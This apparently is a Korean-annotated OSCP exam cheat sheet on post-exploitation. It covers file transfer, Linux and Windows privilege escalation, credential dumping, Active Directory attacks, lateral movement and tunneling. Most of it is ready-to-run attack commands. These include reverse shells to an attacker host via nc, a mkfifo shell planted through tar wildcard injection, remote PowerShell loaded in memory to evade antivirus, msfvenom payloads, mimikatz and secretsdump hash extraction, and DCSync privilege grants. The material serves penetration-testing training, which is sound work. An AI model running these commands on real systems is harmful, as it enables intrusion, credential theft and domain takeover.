Post

[OSCP] Post-Exploitation 2026ver

[OSCP] Post-Exploitation 2026ver

© 2026 zzer0. All rights reserved. No part of this publication may be reproduced, modified, or distributed for commercial purposes without permission from the author.

File Transfer

Linux → Windows

  • SMB (가장 안정적)
    1
    2
    3
    4
    
    # Kali
    impacket-smbserver share /tmp/share -smb2support
    # Win cmd: \\<Kali-IP>\share\file.exe (그대로 실행 가능)
    #          copy \\<Kali-IP>\share\f.exe .
    
  • HTTP
    1
    2
    3
    4
    5
    
    # Kali
    python3 -m http.server 80
    # Win cmd: certutil -urlcache -split -f http://<Kali-IP>/f.exe f.exe
    # Win ps:  IWR http://<Kali-IP>/f.exe -OutFile f.exe
    # Win ps:  (New-Object Net.WebClient).DownloadFile('http://<Kali-IP>/f.exe','C:\Users\Public\f.exe')
    

Windows → Linux

1
2
3
# Kali (인증 + 쓰기 가능 SMB 서버)
impacket-smbserver share /tmp/share -smb2support -username u -password p
# Win cmd: copy file.txt \\<Kali-IP>\share\

In-Memory PowerShell (디스크 올리지 않고 AV 우회)

1
2
IEX(New-Object Net.WebClient).DownloadString('http://<Kali-IP>/Inv-PSTcp.ps1')
IEX (IRM http://<Kali-IP>/Inv-PSTcp.ps1)

Linux ↔ Linux

1
2
scp -i id_rsa file.txt <U>@<Target>:/tmp/
# 또는 wget/curl + python3 -m http.server (위와 동일)

Linux Privilege Escalation

Quick Manual Checklist

1
2
3
4
5
6
7
8
9
10
id; sudo -l; groups
uname -a; cat /etc/os-release
ls -la /etc/passwd /etc/shadow            # writable? readable?
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab; ls -la /etc/cron.*; ls -la /var/spool/cron/
ss -tulpn 2>/dev/null || netstat -tulpn   # 내부만 listening 시 → 터널 트리거
mount | grep -i nfs                       # no_root_squash?
echo $PATH                                # writable PATH dir?
ls -la /home/* 2>/dev/null

Automated Enumeration

LinPEAS

  • 실행 결과 중 Red on Yellow는 권한 상승 벡터가 될 수 있음
    1
    
    curl -L http://<Kali-IP>/linpeas.sh | sh
    

LSE

  • 0 레벨 : 중요 정보
    1
    
    curl -L http://<Kali-IP>/lse.sh | bash -s -- -l 0
    
  • 1 레벨 : 상세 정보
    1
    
    curl -L http://<Kali-IP>/lse.sh | bash -s -- -l 1
    

Process Monitoring

  • 숨겨진 백그라운드 프로세스 및 크론 모니터링
    1
    
    ./pspy64 -pf -i 1000
    

Kernel Exploits (커널 취약점)

커널 및 OS 버전 확인

1
2
uname -a
cat /etc/os-release

해당 버전 취약점 검색

1
searchsploit linux kernel <Version>

자주 사용되는 CVE 예시

1
2
3
4
CVE-2021-4034 PwnKit (polkit pkexec)        Ubuntu 14.04~21.04
CVE-2021-3156 Baron Samedit (sudo)          sudo < 1.9.5p2
CVE-2022-0847 DirtyPipe                     kernel 5.8 ≤ x < 5.16.11/5.15.25/5.10.102
CVE-2023-32629 GameOver(lay)                Ubuntu OverlayFS

Sudo & SUID (잘못된 권한 설정)

  • 참고
    1
    
    https://gtfobins.org/
    

Sudo -l

  • 패스워드 없이 실행 가능한 명령어 확인
    1
    
    sudo -l
    
  • Sudo OpenVPN 악용
    1
    
    sudo openvpn --dev null --script-security 2 --up '/bin/sh -c sh'
    
  • Sudo SSH ProxyCommand 악용
    1
    
    sudo ssh -o ProxyCommand=';/bin/bash 0<&2 1>&2' x
    

SUID/GUID & Relative Path

  • 특수 권한이 설정된 바이너리 악용
  • SUID 설정된 모든 파일 검색
    1
    
    find / -perm -4000 -type f 2>/dev/null
    
  • Relative Path Exploit (절대경로가 아닌 스크립트 실행 악용)
    1
    2
    3
    4
    5
    
    echo '#!/bin/bash' > /tmp/nc
    echo 'busybox nc <Kali-IP> 9001 -e sh' >> /tmp/nc
    chmod +x /tmp/nc
    export PATH=/tmp:$PATH
    ./vulnerable_suid_binary
    

Capabilities & Cron Jobs

Capabilities

  • 바이너리에 부여된 특수 권한(cap_setuid)
  • 부여된 Capabilities 검색
    1
    
    getcap -r / 2>/dev/null
    
  • python에 cap_setuid가 있을 때 악용 예시
    1
    
    python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
    

Cron Jobs

  • 주기적으로 실행되는 tar * 스크립트 수정 및 덮어쓰기
  • 예약 작업 확인
    1
    
    cat /etc/crontab
    
  • Tar Wildcard Injection
    1
    2
    3
    
    echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <Kali-IP> 4444 >/tmp/f' > shell.sh
    touch -- "--checkpoint=1"
    touch -- "--checkpoint-action=exec=sh shell.sh"
    

Internal Services & Password Hunting

Writable Files

  • 웹 설정 파일 등에서 패스워드 검색
    1
    
    grep -rnw '/var/www/html' -e 'password' -e 'db_pass' 2>/dev/null
    
  • 명령어 history 확인
    1
    
    cat ~/.bash_history
    

Localhost Services

  • 내부에서 리스닝 중인 포트 확인
    1
    2
    
    ss -tulpn
    netstat -ano
    

Windows Privilege Escalation

Quick Permission Check

1
2
3
4
5
6
7
8
whoami /priv             :: SeImpersonate / SeBackup / SeRestore / SeDebug 식별
whoami /groups           :: Backup / Server / Account Operators
whoami /all
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
hostname
net user
net localgroup administrators
ipconfig /all

AlwaysInstallElevated 빠른 점검

1
2
3
4
5
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
:: 둘 다 0x1이면:
:: Kali: msfvenom -p windows/x64/shell_reverse_tcp LHOST=<Kali> LPORT=4444 -f msi -o evil.msi
:: Win:  msiexec /quiet /qn /i C:\Users\Public\evil.msi

Automated Enumeration

WinPEAS

  • 실행 결과 중 빨간색 글씨는 권한 상승 벡터가 될 수 있음
    1
    
    .\winPEASx64.exe
    

PowerUp / Seatbelt / accesschk

  • PowerUp (서비스/레지스트리 자동 분석)
1
IEX(New-Object Net.WebClient).DownloadString('http://<Kali-IP>/PowerUp.ps1'); Invoke-AllChecks
  • Seatbelt (시스템 정보 일괄 + 자격 위치)
    1
    
    .\Seatbelt.exe -group=all
    
  • accesschk (서비스 권한 점검)
    1
    2
    
    .\accesschk.exe /accepteula -uwcqv "Authenticated Users" *
    .\accesschk.exe /accepteula -uwcqv "<Username>" *
    

Cached Credentials & PowerShell History

  • 캐시된 자격 증명 확인
    1
    
    cmdkey /list
    
  • PowerShell 명령어 히스토리 확인
    1
    
    type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
    
  • WiFi 저장 비번 확인
    1
    2
    
    netsh wlan show profiles
    netsh wlan show profile name="<SSID>" key=clear
    
  • DPAPI / Credentials 위치 (mimikatz 또는 SharpDPAPI 후속 처리)
    1
    2
    
    dir /a "%APPDATA%\Microsoft\Protect"
    dir /a "%LOCALAPPDATA%\Microsoft\Credentials"
    

Windows Privileges (특수 권한 악용)

SeImpersonatePrivilege

  • 구형 타겟 (Windows 7, Server 2008, 2012): Juicy Potato
    1
    2
    3
    
    .\JuicyPotatox86.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\temp\shell.exe" -t *
    .\JuicyPotatox86.exe -l 1337 -c "{F3123862-2122-491A-851E-CEB75DB948B0}" -p c:\windows\system32\cmd.exe -a "/c type C:\Users\Administrator\Desktop\proof.txt > c:\wamp\www\flag.txt" -t *
    .\JuicyPotatox86.exe -l 1337 -c "{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}" -p c:\windows\system32\cmd.exe -a "/c type C:\Users\Administrator\Desktop\proof.txt > c:\wamp\www\flag.txt" -t *
    
  • 신형 타겟 (Windows 10, Server 2016, 2019 이상): PrintSpoofer 또는 GodPotato
    1
    2
    
    .\PrintSpoofer64.exe -c "C:\Users\Public\nc.exe <Kali-IP> 4444 -e cmd.exe"
    .\PrintSpoofer64.exe -c "cmd /c type C:\Users\Administrator\Desktop\proof.txt > c:\inetpub\wwwroot\flag.txt"
    
1
.\GodPotato-NET4.exe -cmd "cmd.exe /c C:\Windows\Temp\nc.exe <Kali-IP> 4445 -e cmd.exe"
  • 위 두 도구 모두 안 통할 때 fallback (Server 2019 / Win10 1809+ 패치 안 됨)
    1
    
    .\JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c C:\temp\nc.exe <Kali-IP> 4444 -e cmd.exe"
    

SeBackupPrivilege / SeRestorePrivilege

  • 타겟 윈도우에서 SAM과 SYSTEM 레지스트리를 파일로 저장 (백업 권한 악용)
    1
    2
    3
    
    mkdir C:\temp
    reg save hklm\sam C:\temp\sam.save
    reg save hklm\system C:\temp\system.save
    
  • 저장된 sam.save와 system.save 파일을 Kali로 전송

  • Kali에서 Impacket을 이용하여 오프라인으로 해시 추출
    1
    
    impacket-secretsdump -sam sam.save -system system.save LOCAL
    

Service Misconfigurations (서비스 설정 오류)

Insecure Service Permissions (BinPath 변조)

  • 현재 사용자(ex. Server Operators 그룹)가 특정 윈도우 서비스의 설정을 변경(Write)할 권한이 있을 경우, 서비스의 실행 경로(binPath)를 변조
  • 서비스 BinPath 변조
1
sc.exe config VGAuthService binPath= "C:\Users\Public\nc.exe -e cmd.exe <Kali-IP> 4444"
  • 서비스 중지 및 재시작
    1
    2
    
    sc.exe stop VGAuthService
    sc.exe start VGAuthService
    

Unquoted Service Paths

  • 서비스 실행 경로에 공백이 포함 + 따옴표(““)로 묶여 있지 않음 + 해당 경로의 상위 폴더에 쓰기 권한이 있을 경우
  • ex. C:\Program Files\My App\service.exe 경로 -> C:\Program.exe 위치에 악성 페이로드 업로드 후 서비스 재시작
  • 1) 취약 서비스 식별
    1
    
    wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
    
  • 2) 쓰기 권한 확인 + 페이로드 배치
    1
    2
    3
    4
    
    :: 취약 경로: C:\Program Files\My App\service.exe
    :: → C:\Program.exe 또는 C:\Program Files\My.exe 위치에 페이로드 배치
    icacls "C:\Program Files"
    copy \\<Kali-IP>\share\rev.exe "C:\Program.exe"
    
  • 3) 서비스 재시작 (또는 재부팅)
    1
    2
    
    sc.exe stop <ServiceName>
    sc.exe start <ServiceName>
    

Credential Harvesting (자격 증명 수집)

Saved Credentials & Runas

  • 저장된 자격 증명을 사용하여 관리자 권한으로 reverse shell 실행
    1
    
    runas /user:<Domain>\Administrator /savecred "cmd.exe /c C:\Users\Public\nc.exe -e cmd.exe <Kali-IP> 4444"
    

Registry & Config Files

  • Autologon 레지스트리 확인
    1
    
    reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
    
  • 무인 설치 파일 확인
    1
    
    dir /s /b c:\*unattend*.xml
    

Credential Dumping

secretsdump 3가지 패턴

  • 1) DCSync (DA 권한 또는 GetChanges 부여 시)
    1
    2
    3
    
    impacket-secretsdump <DOMAIN>/<DA-User>:'<Password>'@<DC-IP>
    impacket-secretsdump <DOMAIN>/<DA-User>:'<Password>'@<DC-IP> -just-dc-user <Target-User>
    impacket-secretsdump <DOMAIN>/<DA-User>:'<Password>'@<DC-IP> -just-dc            # 도메인 전체
    
  • 2) 로컬 SAM (Backup Operators / SeBackup 권한 시)
    :: 타깃에서:
    reg save hklm\sam      C:\temp\sam.save
    reg save hklm\system   C:\temp\system.save
    reg save hklm\security C:\temp\security.save
    
    1
    2
    
    # Kali에서:
    impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
    
  • 3) NTDS.dit (DC에서 SeBackup 또는 Backup Operators)
    :: diskshadow로 NTDS.dit + SYSTEM 백업 추출 후 secretsdump LOCAL
    :: 또는 robocopy /b 로 NTDS.dit 카피
    

Mimikatz를 이용한 메모리 내 평문 패스워드/해시 추출

1
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

Active Directory (AD) Exploitation

AD Group → Privesc 매핑표 (BloodHound 결과 해석)

그룹 / 권한 즉시 활용
Domain Admins / Enterprise Admins 끝 (DCSync)
Backup Operators SeBackup 부여 → reg save SAM/SYSTEM → secretsdump LOCAL → 로컬 admin 해시
Server Operators 서비스 binPath 수정 → sc config <svc> binPath= "..." → SYSTEM
Account Operators 비-특권 계정 생성/수정 → 다른 그룹(EWP 등)에 추가 후 ACL 체인
DnsAdmins DNS DLL 주입: dnscmd /config /serverlevelplugindll \\<Kali>\dll\evil.dll → DNS 재시작
Exchange Windows Permissions (EWP) 도메인 객체 ACL 수정 → 자기 계정에 DCSync 권한 부여
GenericAll on User bloodyAD set password / addspn (targeted Kerberoast)
GenericWrite on User SPN 강제 부여 → targeted Kerberoasting
GenericWrite on Computer RBCD: addcomputer + msDS-AllowedToActOnBehalfOfOtherIdentity
GenericAll/Write on GPO SharpGPOAbuse / SeRestoreAbuse — 새 scheduled task 강제
WriteDacl impacket-dacledit → 자기 계정에 DCSync 부여 → secretsdump
ForceChangePassword (AllExtendedRights) bloodyAD set password 직접 변경

AD Enumeration

BloodHound-Python

  • 도메인 전체 권한 관계도 수집 및 zip 덤프 (LoggedOn 데이터가 PtH 경로 결정)
    1
    2
    
    bloodhound-python -d '<DOMAIN.LOCAL>' -u '<Username>' -p '<Password>' -c All -ns <Target-IP> --zip
    bloodhound-python -d '<DOMAIN.LOCAL>' -u '<Username>' -p '<Password>' -c All,LoggedOn -ns <Target-IP> --zip
    
  • bloodhound 접속 계정 admin/admin
    1
    2
    
    sudo neo4j start
    bloodhound &
    

LAPS 패스워드 열거

  • 현재 계정에 LAPS 읽기 권한이 있을 경우
    1
    
    nxc ldap <Target-IP> -u <Username> -p '<Password>' -M laps
    

Lateral Movement

Pass-the-Hash (PtH)

  • NTLM 해시만으로 다른 시스템에 접속
    1
    2
    
    evil-winrm -i <Target-IP> -u <Username> -H '<NTLM-Hash>'
    impacket-psexec <DOMAIN>/<Username>@<Target-IP> -hashes :<NTLM-Hash>
    

Overpass-the-Hash (Pass-the-Key)

  • NTLM 해시를 이용해 Kerberos 티켓(TGT)을 강제로 생성
    1
    2
    
    impacket-getTGT <DOMAIN>/<Username> -hashes :<NTLM-Hash>
    export KRB5CCNAME=<Username>.ccache
    

Pass-the-Ticket (PtT)

  • 탈취한 Kerberos 티켓(.ccache 또는 .kirbi)을 환경 변수에 등록하여 암호 없이 시스템 접근
    1
    
    impacket-psexec -k -no-pass <DOMAIN>/<Username>@<Target-NAME>
    

Privilege Escalation in AD

Kerberoasting (SPN 계정 해시 탈취)

  • TGS 해시 추출 (-request 옵션)
    1
    
    impacket-GetUserSPNs <DOMAIN>/<Username>:'<Password>' -request -dc-ip <Target-IP> -outputfile kerb_hashes.txt
    
  • Hashcat 크랙 (Mode 13100)
    1
    
    hashcat -m 13100 -a 0 kerb_hashes.txt /usr/share/wordlists/rockyou.txt
    

GPP (Group Policy Preferences)

  • SYSVOL 폴더 내 Groups.xml 파일에 암호화되어(AES-256) 저장된 로컬 관리자 비밀번호 복호화
  • 타겟 윈도우에서 cpassword 검색
    1
    
    findstr /S /I cpassword \\<DOMAIN>\sysvol\<DOMAIN>\policies\*.xml
    
  • Kali에서 복호화
    1
    
    gpp-decrypt <cpassword_string>
    

ACL Abuse (접근 제어 목록 악용)

  • BloodHound 분석 결과 내 계정이 특정 특권 그룹(ex. EXCHANGE WINDOWS PERMISSIONS)에 속해 있거나, 도메인 객체에 대해 WriteDacl 권한이 있을 경우
  • 계정을 특정 특권 관리자 그룹에 추가
    1
    
    net group "EXCHANGE WINDOWS PERMISSIONS" "<Username>" /add /domain
    
  • Impacket Dacledit (WriteDacl 권한 악용하여 계정에 DCSync 권한 강제 부여)
    1
    
    impacket-dacledit -action 'write' -rights 'DCSync' -principal '<Username>' -target-dn 'DC=<Domain>,DC=<TLD>' '<Domain>/<Username>:<Password>'
    

DCSync Attack (Domain Admin)

Impacket Secretsdump (DCSync Attack 실행)

  • DC에서 모든 해시값 원격 추출
    1
    
    impacket-secretsdump '<Domain>/<Username>:<Password>'@<Target-IP>
    

AD ACL Abuse (권한별 공격 시나리오)

GenericAll (Full Control)

  • nxc을 이용한 패스워드 변경
    1
    
    nxc smb <Target-IP> -u '<User>' -p '<Pass>' --set-password '<New-Pass>'
    
  • impacket-bloodyAD를 이용한 패스워드 변경
    1
    
    python3 bloodyAD.py -d <Domain> -u '<User>' -p '<Pass>' --host <DC-IP> set password '<Target-User>' '<New-Pass>'
    

GenericWrite (SPN 수정 및 Kerberoasting)

  • 특정 유저에게 SPN 강제 할당 후 Kerberoasting 시도
    1
    
    python3 bloodyAD.py -d <Domain> -u '<User>' -p '<Pass>' --host <DC-IP> add spn '<Target-User>' 'something/anything'
    
  • 이후 GetUserSPNs.py 실행

WriteDacl / WriteOwner (권한 자가 부여)

  • 자신에게 DCSync 권한 부여 (bloodyAD)
    1
    
    python3 bloodyAD.py -d <Domain> -u '<User>' -p '<Pass>' --host <DC-IP> add dcsync '<Your-User>'
    
  • secretsdump를 이용한 DCSync 공격 수행
    1
    
    impacket-secretsdump <Domain>/<Your-User>:'<Pass>'@<DC-IP> -just-dc
    

AllExtendedRights (Force Change Password)

  • Impacket-bloodyAD로 패스워드 변경
    1
    
    python3 bloodyAD.py -d <Domain> -u '<User>' -p '<Pass>' --host <DC-IP> set password '<Target-User>' '<New-Pass>'
    

Domain Escalation

  • 유효 계정 확보 후 서비스 계정의 TGS 티켓을 요청하여 오프라인에서 크래킹

    Kerberoasting

  • SPN이 설정된 계정 타겟
    1
    
    impacket-GetUserSPNs <Domain>/<User>:'<Pass>' -dc-ip <DC-IP> -request
    

AS-REP Roasting

  • Pre-auth 미설정 계정 타겟
    1
    
    impacket-GetNPUsers <Domain>/<User>:'<Pass>' -dc-ip <DC-IP> -request
    

Tunneling & Pivoting

Port Forwarding (SSH -L, -R)

Local Port Forwarding (-L)

  • Kali의 8080 포트를 타겟의 127.0.0.1:80 포트로 연결
    1
    
    ssh -L 8080:127.0.0.1:80 <User>@<Target-IP>
    

Remote Port Forwarding (-R)

  • 타겟의 8888 포트를 Kali의 4444 포트로 연결
    1
    
    ssh -R 8888:127.0.0.1:4444 <User>@<Target-IP>
    

Dynamic SOCKS (-D)

1
2
3
ssh -D 1080 -N -f <User>@<Target-IP>
# /etc/proxychains4.conf 에 socks5 127.0.0.1 1080 추가 후
proxychains4 nxc smb <Internal-IP>

Ligolo-ng Routing

Attacker (Kali) - 인터페이스 설정 및 Proxy 실행

  • TUN 인터페이스 생성 및 활성화
    1
    2
    
    sudo ip tuntap add user kali mode tun ligolo
    sudo ip link set ligolo up
    
  • Proxy 실행
    1
    
    ./proxy -selfcert
    

Target (Agent) - 접속

  • Kali의 Proxy 서비스로 접속 (11601 포트 기본)
    1
    
    .\agent.exe -connect <Kali-IP>:11601 -ignore-cert
    

Attacker (Kali) - 라우팅 추가

  • 세션 선택 및 시작
    1
    2
    
    ligolo-ng » session
    ligolo-ng » start
    
  • Kali 터미널(새 창)에서 내부망 대역 라우팅 추가
    1
    
    sudo ip route add <Internal-Network-Range>/24 dev ligolo
    

Chisel (Ligolo가 실패했을 때 빠르게 셋팅하는 도구로 사용)

  • Kali (서버)
    1
    
    ./chisel server -p 8888 --reverse
    
  • 타깃 (클라이언트)
    1
    
    ./chisel client <Kali-IP>:8888 R:socks
    
  • 사용 시 모든 명령어 앞에 proxychains4 붙여야 함
    1
    2
    3
    
    # /etc/proxychains4.conf 에 socks5 127.0.0.1 1080 추가
    proxychains4 nxc smb <Internal-IP>
    proxychains4 evil-winrm -i <Internal-IP> -u <U> -p <P>
    

상세 링크 모음: 같은 시리즈의 [OSCP] References 2026ver 포스트 참고.

This post is licensed under CC BY 4.0 by the author.